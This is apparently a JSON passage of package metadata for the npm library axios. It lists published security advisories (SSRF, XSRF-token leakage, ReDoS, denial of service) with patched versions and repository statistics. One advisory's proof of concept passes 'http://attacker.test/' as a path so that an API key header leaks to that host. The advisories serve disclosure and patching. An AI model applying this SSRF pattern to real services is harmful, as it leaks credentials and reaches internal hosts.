1.10.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybThwLWN4NTgtaGN2eM4ABKdI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","url":"https://github.com/advisories/GHSA-jr5f-v2jv-69x6","title":"axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL","description":"### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from \"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-07T15:16:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6","https://github.com/axios/axios/issues/6463","https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f","https://github.com/axios/axios/releases/tag/v1.8.2","https://nvd.nist.gov/vuln/detail/CVE-2025-27152","https://github.com/axios/axios/pull/6829","https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde","https://github.com/advisories/GHSA-jr5f-v2jv-69x6"],"source_kind":"github","identifiers":["GHSA-jr5f-v2jv-69x6","CVE-2025-27152"],"repository_url":"https://github.com/axios/axios","blast_radius":43.5553280506507,"created_at":"2025-03-07T16:08:18.305Z","updated_at":"2026-08-29T17:05:24.073Z","epss_percentage":0.00763,"epss_percentile":0.52363,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.30.0","vulnerable_version_range":"\u003c 0.30.0"},{"first_patched_version":"1.8.2","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.8.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjVmLXYyanYtNjl4Ns4ABFM2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","url":"https://github.com/advisories/GHSA-8hc4-vh64-cxmj","title":"Server-Side Request Forgery in axios","description":"axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-08-12T15:30:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39338","https://github.com/axios/axios/releases","https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html","https://github.com/axios/axios/issues/6463","https://github.com/axios/axios/pull/6539","https://github.com/axios/axios/pull/6543","https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a","https://github.com/axios/axios/releases/tag/v1.7.4","https://github.com/advisories/GHSA-8hc4-vh64-cxmj"],"source_kind":"github","identifiers":["GHSA-8hc4-vh64-cxmj","CVE-2024-39338"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2024-08-12T18:05:32.119Z","updated_at":"2026-08-28T13:07:24.240Z","epss_percentage":0.012070000000000001,"epss_percentile":0.65551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.7.4","vulnerable_version_range":"\u003e= 1.3.2, \u003c= 1.7.3"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aGM0LXZoNjQtY3htas4AA-hD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","url":"https://github.com/advisories/GHSA-wf5p-g6vw-rhxx","title":"Axios Cross-Site Request Forgery Vulnerability","description":"An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-08T21:30:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-45857","https://github.com/axios/axios/issues/6006","https://github.com/axios/axios/issues/6022","https://github.com/axios/axios/pull/6028","https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0","https://github.com/axios/axios/releases/tag/v1.6.0","https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459","https://github.com/axios/axios/pull/6091","https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967","https://github.com/axios/axios/releases/tag/v0.28.0","https://security.netapp.com/advisory/ntap-20240621-0006","https://github.com/advisories/GHSA-wf5p-g6vw-rhxx"],"source_kind":"github","identifiers":["GHSA-wf5p-g6vw-rhxx","CVE-2023-45857"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2023-11-10T01:05:47.772Z","updated_at":"2026-08-28T18:08:14.657Z","epss_percentage":0.00556,"epss_percentile":0.43514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.28.0","vulnerable_version_range":"\u003e= 0.8.1, \u003c 0.28.0"},{"first_patched_version":"1.6.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.6.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjVwLWc2dnctcmh4eM4AA2_y/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","url":"https://github.com/advisories/GHSA-cph5-m8f7-6c5x","title":"axios Inefficient Regular Expression Complexity vulnerability","description":"axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-01T18:23:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3749","https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929","https://huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31","https://www.npmjs.com/package/axios","https://lists.apache.org/thread.html/r075d464dce95cd13c03ff9384658edcccd5ab2983b82bfc72b62bb10@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r216f0fd0a3833856d6a6a1fada488cadba45f447d87010024328ccf2@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r3ae6d2654f92c5851bdb73b35e96b0e4e3da39f28ac7a1b15ae3aab8@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r4bf1b32983f50be00f9752214c1b53738b621be1c2b0dbd68c7f2391@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r7324ecc35b8027a51cb6ed629490fcd3b2d7cf01c424746ed5744bf1@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r74d0b359408fff31f87445261f0ee13bdfcac7d66f6b8e846face321@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/ra15d63c54dc6474b29f72ae4324bcb03038758545b3ab800845de7a1@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rc263bfc5b53afcb7e849605478d73f5556eb0c00d1f912084e407289@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rfa094029c959da0f7c8cd7dc9c4e59d21b03457bf0cedf6c93e1bb0a@%3Cdev.druid.apache.org%3E","https://lists.apache.org/thread.html/rfc5c478053ff808671aef170f3d9fc9d05cc1fab8fb64431edc66103@%3Ccommits.druid.apache.org%3E","https://www.oracle.com/security-alerts/cpujul2022.html","https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","https://github.com/advisories/GHSA-cph5-m8f7-6c5x"],"source_kind":"github","identifiers":["GHSA-cph5-m8f7-6c5x","CVE-2021-3749"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:12:31.076Z","updated_at":"2026-08-28T13:06:23.716Z","epss_percentage":0.08515,"epss_percentile":0.945,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.21.2","vulnerable_version_range":"\u003c 0.21.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcGg1LW04ZjctNmM1eM0VhQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","url":"https://github.com/advisories/GHSA-4w2v-q235-vp99","title":"Axios vulnerable to Server-Side Request Forgery","description":"Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-01-04T20:59:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28168","https://github.com/axios/axios/issues/3369","https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55","https://snyk.io/vuln/SNYK-JS-AXIOS-1038255","https://www.npmjs.com/package/axios","https://www.npmjs.com/advisories/1594","https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E","https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E","https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","https://github.com/advisories/GHSA-4w2v-q235-vp99"],"source_kind":"github","identifiers":["GHSA-4w2v-q235-vp99","CVE-2020-28168"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:13:12.279Z","updated_at":"2026-08-30T17:13:03.622Z","epss_percentage":0.02348,"epss_percentile":0.81986,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.21.1","vulnerable_version_range":"\u003c 0.21.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3MnYtcTIzNS12cDk5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","url":"https://github.com/advisories/GHSA-42xw-2xvc-qx8m","title":"Denial of Service in axios","description":"Versions of `axios` prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the `maxContentLength` property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to 0.18.1 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-05-29T18:04:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-10742","https://app.snyk.io/vuln/SNYK-JS-AXIOS-174505","https://github.com/axios/axios/issues/1098","https://github.com/axios/axios/pull/1485","https://snyk.io/vuln/SNYK-JS-AXIOS-174505","https://www.npmjs.com/advisories/880","https://github.com/axios/axios/commit/acabfbdf00a58bb866c9d070e8a10d1d0dbeb572","https://github.com/advisories/GHSA-42xw-2xvc-qx8m"],"source_kind":"github","identifiers":["GHSA-42xw-2xvc-qx8m","CVE-2019-10742"],"repository_url":"https://github.com/axios/axios","blast_radius":0.0,"created_at":"2022-12-21T16:13:29.681Z","updated_at":"2026-08-30T17:13:26.371Z","epss_percentage":0.05494,"epss_percentile":0.92267,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.18.1","vulnerable_version_range":"\u003c= 0.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQyeHctMnh2Yy1xeDht/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/axios","docker_dependents_count":20221,"docker_downloads_count":5576113741,"usage_url":"https://repos.ecosyste.ms/usage/npm/axios","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/axios/dependencies","status":null,"funding_links":["https://opencollective.com/axios","https://github.com/sponsors/axios"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-29T00:35:23.511Z","issues_count":3522,"pull_requests_count":2710,"avg_time_to_close_issue":18870064.763142694,"avg_time_to_close_pull_request":8605951.763096169,"issues_closed_count":3462,"pull_requests_closed_count":2558,"pull_request_authors_count":1110,"issue_authors_count":2805,"avg_comments_per_issue":3.997160704145372,"avg_comments_per_pull_request":1.4937269372693727,"merged_pull_requests_count":1402,"bot_issues_count":3,"bot_pull_requests_count":459,"past_year_issues_count":222,"past_year_pull_requests_count":925,"past_year_avg_time_to_close_issue":3273821.432160804,"past_year_avg_time_to_close_pull_request":1551095.2546511628,"past_year_issues_closed_count":199,"past_year_pull_requests_closed_count":860,"past_year_pull_request_authors_count":320,"past_year_issue_authors_count":191,"past_year_avg_comments_per_issue":4.756756756756757,"past_year_avg_comments_per_pull_request":1.0832432432432433,"past_year_bot_issues_count":2,"past_year_bot_pull_requests_count":198,"past_year_merged_pull_requests_count":468,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/issues","maintainers":[{"login":"DigitalBrainJS","count":264,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DigitalBrainJS"},{"login":"jasonsaayman","count":226,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jasonsaayman"},{"login":"paolap","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/paolap"},{"login":"emilyemorehouse","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/emilyemorehouse"}],"active_maintainers":[{"login":"jasonsaayman","count":169,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jasonsaayman"},{"login":"DigitalBrainJS","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DigitalBrainJS"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/axios/codemeta","maintainers":[{"uuid":"jasonsaayman","login":"jasonsaayman","name":null,"email":"jasonsaayman@gmail.com","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~jasonsaayman","role":null,"created_at":"2022-11-10T11:06:13.332Z","updated_at":"2022-11-10T11:06:13.332Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jasonsaayman/packages"}]}